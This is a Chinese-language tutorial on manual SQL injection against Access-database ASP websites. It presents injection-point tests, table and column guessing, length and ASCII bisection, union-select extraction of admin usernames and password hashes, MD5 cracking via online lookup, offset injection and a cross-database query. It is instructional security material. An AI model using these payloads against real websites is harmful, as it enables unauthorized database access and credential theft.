Access数据库注入攻击基本技术

Access数据库手工注入攻击

1. Access介绍

Access数据库是微软旗下的一种简单的数据库,功能没有mysql,sqlserver功能那么强大,一般asp网站用的就是

Access数据库,一般小公司喜欢用asp网站

数据库文件默认扩展名为.mdb,但是一般运维人员为了隐藏可能会把后缀名改为asp.微软的office里自带Access组

件可以打开,文件名就是数据库名,里面会有一堆表

这里采用凡诺企业网站管理系统为例结合火狐浏览器来一 一注入测试

2. 判断注入点

单引号
and 1=1
and 1=2

image-20201228173948551

发现页面有报错,说明存在sql注入点

3. 判断数据库类型

user是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为nvarchar字符型。通过提交查询

该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

and user>0

该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。

image-20201228174435240

如果出现上图报错信息,说明是sqlserver数据库,但是我们测试的网站并未出现,所以可以判断是Access数据库

image-20201228174906187

如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。

在注入点后提交如下查询语句

and  (select count(*)  from sysobjects)>=0
and (select count(*)  from msysobjects)>=0

Access存在msysobjects表,不存在sysobjects表,sqlserver存在sysobjects表,不存在msysobjects,可以根据他

们返回的报错信息判断

4. 猜测数据库表名和字段名

4.1 猜表名

首先来猜解数据库表名,提交以下注入语句,一般我们手动就只猜测常见的表名,暴力破解的工具也是这样做的

常见表名 : users   admin  administrator  等
# exists() 判断查询结果是否存在,不存在返回false,存在返回true
and  exists(select * from users) 

image-20201228175843786

报错说明不存在users表

and exists(select * from admin)

image-20201228180124297

还是报错,说明也不存在admin表

exists(select * from administrator)

image-20201228180252596

没有报错,说明存在administrator这张表

4.2 猜字段名

仍然是熟悉的配方,熟悉的味道,依然是用exists()函数判断

and exists(select username from administrator)

image-20201228181752427

很不幸第一次尝试报错,说明administrator表中是没有username这个字段的,继续尝试

and exists(select user_name from administrator)

image-20201228181942713

没有报错说明存在user_name这个字段,很nice,不错就用这些开发喜欢用的字段一个一个去尝试,你绝对会有

意外收获的,再来一发

and exists(select password from administrator)

image-20201228182319618

漂亮又中了,有password这个字段,这时想起id字段一般都会有,果然屡试不爽,就不截图展示了

常见的表名

a_adminx_adminm_adminadminuseradminstratorarticle_adminmanagemanagermembermembersuserusersadminuserinfouser_infoadmin_userinfologinnewsconfig

常见的字段名

idpasswordusernameadmin_useridadmin_iduser_passuser_passwordpassyonghu

5. 猜测数据长度和数据内容

接下来将要介绍一个绝招,这里的绝招不是说是很厉害的招数,而是被逼的只能使用这一招了,虽然这招时间成本

高,但是准确率极高。

5.1 猜长度

这里介绍一种二分法,用科学的方法来减少猜测的次数,二分法就是每次去中间判断,这样会省很多次数

and (select top 1 len(user_name) from administrator)>0top 1 是查询第一条记录user_name的长度

页面返回正常,说明数据内容长度大于0,我就不一 一截图了

and (select top 1 len(user_name) from administrator)<10

页面返回正常,说明数据内容长度小于10,下次取5尝试

and (select top 1 len(user_name) from administrator)>5

页面报错,说明数据内容长度大于0,小于5,下次取3尝试

and (select top 1 len(user_name) from administrator)>3

页面返回正常,说明数据内容长度大于3,小于5,下次取4尝试

and (select top 1 len(user_name) from administrator)>4

页面返回正常,说明数据内容长度大于4,小于5,下次取5尝试

and (select top 1 len(user_name) from administrator)=5

发现页面没有报错,说明后面的条件语句返回的结果为真,即数据的长度为5

image-20201228183859884

5.2 猜字符

通过ascii码对应的10进制数字判断具体的字符

and (select top 1 asc(mid(user_name,1,1)) from administrator)>0and (select top 1 asc(mid(user_name,1,1)) from administrator)<100

页面返回正常说明第一个字符的ascii码对应的10进制数在0-100,一般数据内容大多是英文字母组成,所以我斗胆

尝试一下a,a对应的ascii码十进制是97 , mid是截取字符串函数

and (select top 1 asc(mid(user_name,1,1)) from administrator)=97

image-20201228191412982

页面返回正常,真的是一发入魂,如果你闲的无聊的话,剩下的字符也就是这样一个一个猜测,但是不到万不得已

我不推荐,最起码也要半自动化吧

6. SQL注入中的高级查询

在上面介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以

快速地获得字段长度及字段内容

6.1 order by猜测字段数

同样也是推荐你用二分法这种神奇的算法去测试,一般我们都以0-10作为起始范围,很快啪的一声我就试出来了

原sql语句查询的字段数为7

order by 7

image-20201228192500069

判断数据库查询到的信息在页面上的显示位置

?id=9999 union select 1111,2222,33333,4444,5555,6666,77777 from administrator因为access数据库比较特殊 , 在联合查询的时候一定要接表名 , 否则报错

image-20201228193352845

6.2 获取字段的值

?id=9999 union select 1111,user_name,password,4444,5555,6666,77777 from administrator

image-20201228193618732

然后将得到的密码,用你旁边人的脚指头想一想,是不是很像md5摘要后的,于是你抱着试一试的心态去网上在

线网站去撞库

21232f297a57a5a743894a0e4a801fc3

image-20201228193852106

哎,还真的走了狗屎运撞了出来

6.3 偏移注入

偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到字段名的情况下,这种方法就可以帮我们填

补。(注:这种方法运气很重要) 但是一般面试问的很少,了解即可

?id=9999 union select 1111,222,333,4444,* from administrator

image-20201228194223413

6.4 注入跨库查询

老周说他觉得这个没啥用,工作的时候也没有用到过,他觉得是一个概念型的东西,生产环境,应用场景几乎为0

假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进

行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有

注入点。

直接用  http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT  1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins 

image-20201228194423800

原文地址:https://www.cnblogs.com/xcymn/p/15721577.html